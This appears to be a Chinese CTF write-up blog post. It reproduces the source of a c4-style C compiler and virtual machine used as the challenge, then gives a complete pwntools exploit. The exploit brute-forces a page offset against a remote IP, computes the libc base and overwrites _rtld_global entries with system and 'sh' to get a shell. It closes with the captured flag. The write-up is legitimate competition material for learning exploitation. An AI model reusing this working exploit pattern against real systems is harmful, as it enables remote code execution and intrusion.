    else if (tk == Shr) { next(); *++e = PSH; expr(Add); *++e = SHR; ty = INT; }
    else if (tk == Add) {
      next(); *++e = PSH; expr(Mul);
      if ((ty = t) > PTR) { *++e = PSH; *++e = IMM; *++e = sizeof(int); *++e = MUL;  }
      *++e = ADD;
    }
    else if (tk == Sub) {
      next(); *++e = PSH; expr(Mul);
      if (t > PTR && t == ty) { *++e = SUB; *++e = PSH; *++e = IMM; *++e = sizeof(int); *++e = DIV; ty = INT; }
      else if ((ty = t) > PTR) { *++e = PSH; *++e = IMM; *++e = sizeof(int); *++e = MUL; *++e = SUB; }
      else *++e = SUB;
    }
    else if (tk == Mul) { next(); *++e = PSH; expr(Inc); *++e = MUL; ty = INT; }
    else if (tk == Div) { next(); *++e = PSH; expr(Inc); *++e = DIV; ty = INT; }
    else if (tk == Mod) { next(); *++e = PSH; expr(Inc); *++e = MOD; ty = INT; }
    else if (tk == Inc || tk == Dec) {
      if (*e == LC) { *e = PSH; *++e = LC; }
      else if (*e == LI) { *e = PSH; *++e = LI; }
      else { printf("%d: bad lvalue in post-increment\n", line); exit(-1); }
      *++e = PSH; *++e = IMM; *++e = (ty > PTR) ? sizeof(int) : sizeof(char);
      *++e = (tk == Inc) ? ADD : SUB;
      *++e = (ty == CHAR) ? SC : SI;
      *++e = PSH; *++e = IMM; *++e = (ty > PTR) ? sizeof(int) : sizeof(char);
      *++e = (tk == Inc) ? SUB : ADD;
      next();
    }
    else if (tk == Brak) {
      next(); *++e = PSH; expr(Assign);
      if (tk == ']') next(); else { printf("%d: close bracket expected\n", line); exit(-1); }
      if (t > PTR) { *++e = PSH; *++e = IMM; *++e = sizeof(int); *++e = MUL;  }
      else if (t < PTR) { printf("%d: pointer type expected\n", line); exit(-1); }
      *++e = ADD;
      *++e = ((ty = t - PTR) == CHAR) ? LC : LI;
    }
    else { printf("%d: compiler error tk=%d\n", line, tk); exit(-1); }
  }
}

void stmt()
{
  int *a, *b;

  if (tk == If) {
    next();
    if (tk == '(') next(); else { printf("%d: open paren expected\n", line); exit(-1); }
    expr(Assign);
    if (tk == ')') next(); else { printf("%d: close paren expected\n", line); exit(-1); }
    *++e = BZ; b = ++e;
    stmt();
    if (tk == Else) {
      *b = (int)(e + 3); *++e = JMP; b = ++e;
      next();
      stmt();
    }
    *b = (int)(e + 1);
  }
  else if (tk == While) {
    next();
    a = e + 1;
    if (tk == '(') next(); else { printf("%d: open paren expected\n", line); exit(-1); }
    expr(Assign);
    if (tk == ')') next(); else { printf("%d: close paren expected\n", line); exit(-1); }
    *++e = BZ; b = ++e;
    stmt();
    *++e = JMP; *++e = (int)a;
    *b = (int)(e + 1);
  }
  else if (tk == Return) {
    next();
    if (tk != ';') expr(Assign);
    *++e = LEV;
    if (tk == ';') next(); else { printf("%d: semicolon expected\n", line); exit(-1); }
  }
  else if (tk == '{') {
    next();
    while (tk != '}') stmt();
    next();
  }
  else if (tk == ';') {
    next();
  }
  else {
    expr(Assign);
    if (tk == ';') next(); else { printf("%d: semicolon expected\n", line); exit(-1); }
  }
}

int main(int argc, char **argv)
{
  int fd, bt, ty, poolsz, *idmain;
  int *pc, *sp, *bp, a, cycle; // vm registers
  int i, *t; // temps

  poolsz = 256*1024; // arbitrary size
  if (!(sym = malloc(poolsz))) { printf("could not malloc(%d) symbol area\n", poolsz); return -1; }
  if (!(le = e = malloc(poolsz))) { printf("could not malloc(%d) text area\n", poolsz); return -1; }
  if (!(data = malloc(poolsz))) { printf("could not malloc(%d) data area\n", poolsz); return -1; }
  if (!(sp = malloc(poolsz))) { printf("could not malloc(%d) stack area\n", poolsz); return -1; }

  memset(sym,  0, poolsz);
  memset(e,    0, poolsz);
  memset(data, 0, poolsz);

  p = "char else enum if int return sizeof while "
      "open read close printf malloc free memset memcmp exit void main";
  i = Char; while (i <= While) { next(); id[Tk] = i++; } // add keywords to symbol table
  i = OPEN; while (i <= EXIT) { next(); id[Class] = Sys; id[Type] = INT; id[Val] = i++; } // add library to symbol table
  next(); id[Tk] = Char; // handle void type
  next(); idmain = id; // keep track of main

  if (!(lp = p = malloc(poolsz))) { printf("could not malloc(%d) source area\n", poolsz); return -1; }
  printf("Input your code:\n");
  if ((i = read(0, p, poolsz-1)) <= 0) { printf("read() returned %d\n", i); return -1; }
  p[i] = 0;

  // parse declarations
  line = 1;
  next();
  while (tk) {
    bt = INT; // basetype
    if (tk == Int) next();
    else if (tk == Char) { next(); bt = CHAR; }
    else if (tk == Enum) {
      next();
      if (tk != '{') next();
      if (tk == '{') {
        next();
        i = 0;
        while (tk != '}') {
          if (tk != Id) { printf("%d: bad enum identifier %d\n", line, tk); return -1; }
          next();
          if (tk == Assign) {
            next();
            if (tk != Num) { printf("%d: bad enum initializer\n", line); return -1; }
            i = ival;
            next();
          }
          id[Class] = Num; id[Type] = INT; id[Val] = i++;
          if (tk == ',') next();
        }
        next();
      }
    }
    while (tk != ';' && tk != '}') {
      ty = bt;
      while (tk == Mul) { next(); ty = ty + PTR; }
      if (tk != Id) { printf("%d: bad global declaration\n", line); return -1; }
      if (id[Class]) { printf("%d: duplicate global definition\n", line); return -1; }
      next();
      id[Type] = ty;
      if (tk == '(') { // function
        id[Class] = Fun;
        id[Val] = (int)(e + 1);
        next(); i = 0;
        while (tk != ')') {
          ty = INT;
          if (tk == Int) next();
          else if (tk == Char) { next(); ty = CHAR; }
          while (tk == Mul) { next(); ty = ty + PTR; }
          if (tk != Id) { printf("%d: bad parameter declaration\n", line); return -1; }
          if (id[Class] == Loc) { printf("%d: duplicate parameter definition\n", line); return -1; }
          id[HClass] = id[Class]; id[Class] = Loc;
          id[HType]  = id[Type];  id[Type] = ty;
          id[HVal]   = id[Val];   id[Val] = i++;
          next();
          if (tk == ',') next();
        }
        next();
        if (tk != '{') { printf("%d: bad function definition\n", line); return -1; }
        loc = ++i;
        next();
        while (tk == Int || tk == Char) {
          bt = (tk == Int) ? INT : CHAR;
          next();
          while (tk != ';') {
            ty = bt;
            while (tk == Mul) { next(); ty = ty + PTR; }
            if (tk != Id) { printf("%d: bad local declaration\n", line); return -1; }
            if (id[Class] == Loc) { printf("%d: duplicate local definition\n", line); return -1; }
            id[HClass] = id[Class]; id[Class] = Loc;
            id[HType]  = id[Type];  id[Type] = ty;
            id[HVal]   = id[Val];   id[Val] = ++i;
            next();
            if (tk == ',') next();
          }
          next();
        }
        *++e = ENT; *++e = i - loc;
        while (tk != '}') stmt();
        *++e = LEV;
        id = sym; // unwind symbol table locals
        while (id[Tk]) {
          if (id[Class] == Loc) {
            id[Class] = id[HClass];
            id[Type] = id[HType];
            id[Val] = id[HVal];
          }
          id = id + Idsz;
        }
      }
      else {
        id[Class] = Glo;
        id[Val] = (int)data;
        data = data + sizeof(int);
      }
      if (tk == ',') next();
    }
    next();
  }

  if (!(pc = (int *)idmain[Val])) { printf("main() not defined\n"); return -1; }
  if (src) return 0;

  // setup stack
  bp = sp = (int *)((int)sp + poolsz);
  *--sp = EXIT; // call exit if main returns
  *--sp = PSH; t = sp;
  *--sp = argc;
  *--sp = (int)argv;
  *--sp = (int)t;

  // run...
  cycle = 0;
  while (1) {
    i = *pc++; ++cycle;
    if (debug) {
      printf("%d> %.4s", cycle,
        &"LEA ,IMM ,JMP ,JSR ,BZ  ,BNZ ,ENT ,ADJ ,LEV ,LI  ,LC  ,SI  ,SC  ,PSH ,"
         "OR  ,XOR ,AND ,EQ  ,NE  ,LT  ,GT  ,LE  ,GE  ,SHL ,SHR ,ADD ,SUB ,MUL ,DIV ,MOD ,"
         "OPEN,READ,CLOS,PRTF,MALC,FREE,MSET,MCMP,EXIT,"[i * 5]);
      if (i <= ADJ) printf(" %d\n", *pc); else printf("\n");
    }
    if      (i == LEA) a = (int)(bp + *pc++);                             // load local address
    else if (i == IMM) a = *pc++;                                         // load global address or immediate
    else if (i == JMP) pc = (int *)*pc;                                   // jump
    else if (i == JSR) { *--sp = (int)(pc + 1); pc = (int *)*pc; }        // jump to subroutine
    else if (i == BZ)  pc = a ? pc + 1 : (int *)*pc;                      // branch if zero
    else if (i == BNZ) pc = a ? (int *)*pc : pc + 1;                      // branch if not zero
    else if (i == ENT) { *--sp = (int)bp; bp = sp; sp = sp - *pc++; }     // enter subroutine
    else if (i == ADJ) sp = sp + *pc++;                                   // stack adjust
    else if (i == LEV) { sp = bp; bp = (int *)*sp++; pc = (int *)*sp++; } // leave subroutine
    else if (i == LI)  a = *(int *)a;                                     // load int
    else if (i == LC)  a = *(char *)a;                                    // load char
    else if (i == SI)  *(int *)*sp++ = a;                                 // store int
    else if (i == SC)  a = *(char *)*sp++ = a;                            // store char
    else if (i == PSH) *--sp = a;                                         // push

    else if (i == OR)  a = *sp++ |  a;
    else if (i == XOR) a = *sp++ ^  a;
    else if (i == AND) a = *sp++ &  a;
    else if (i == EQ)  a = *sp++ == a;
    else if (i == NE)  a = *sp++ != a;
    else if (i == LT)  a = *sp++ <  a;
    else if (i == GT)  a = *sp++ >  a;
    else if (i == LE)  a = *sp++ <= a;
    else if (i == GE)  a = *sp++ >= a;
    else if (i == SHL) a = *sp++ << a;
    else if (i == SHR) a = *sp++ >> a;
    else if (i == ADD) a = *sp++ +  a;
    else if (i == SUB) a = *sp++ -  a;
    else if (i == MUL) a = *sp++ *  a;
    else if (i == DIV) a = *sp++ /  a;
    else if (i == MOD) a = *sp++ %  a;

    else if (i == OPEN) a = open((char *)sp[1], *sp);
    else if (i == READ) a = read(sp[2], (char *)sp[1], *sp);
    else if (i == CLOS) a = close(*sp);
    else if (i == PRTF) { t = sp + pc[1]; a = printf((char *)t[-1], t[-2], t[-3], t[-4], t[-5], t[-6]); }
    else if (i == MALC) a = (int)malloc(*sp);
    else if (i == FREE) free((void *)*sp);
    else if (i == MSET) a = (int)memset((char *)sp[2], sp[1], *sp);
    else if (i == MCMP) a = memcmp((char *)sp[2], (char *)sp[1], *sp);
    else if (i == EXIT) { printf("exit(%d) cycle = %d\n", *sp, cycle); return *sp; }
    else { printf("unknown instruction = %d! cycle = %d\n", i, cycle); return -1; }
  }
}

跟网鼎杯那个 vmpwn 差不多,改改脚本直接用,远程和本地环境不一样,写脚本按页爆破即可

远程的 page = 0x553010

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
# context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
page = 0x500010
while True:
    try:
        if debug == 1:
            p = process(['./chall'])
        else:
            p = remote('118.190.133.9', 11004)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
        # gdb.attach(p, "b exit\nb *0x404036" + "\nc" * 10)
        # gdb.attach(p, "b _dl_fini\nc")

        page += 0x1000
        info('page = ' + hex(page))
        pd = '''
        int *tmp;
        int *libcbase;
        int *addr_system;
        int *addr_bin_sh;
        int *addr__rtld_global_3848;
        int *addr__rtld_global_2312;

        void main(){
            tmp = "binLep";
            libcbase = (int)&tmp - %d;
            addr_system = (int)libcbase + %d;
            addr_bin_sh = (int)libcbase + %d;
            addr__rtld_global_3848 = (int)libcbase + 0x619060 + 3848;
            addr__rtld_global_2312 = (int)libcbase + 0x619060 + 2312;
            *addr__rtld_global_3848 = addr_system;
            *addr__rtld_global_2312 = *addr_bin_sh;
        }
        ''' % (page, libc.sym['system'], libc.search('sh\x00').next())
        p.sendline(pd.replace('\n', ' '))
        p.recv(timeout=0.1)
        p.recv(timeout=0.1)
        p.recv(timeout=0.1)
        p.interactive()
        p.close()
        continue
    except EOFError:
        p.close()
        continue

Flag:

flag{A001_A+B_H4ck_pr0bl3m}
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注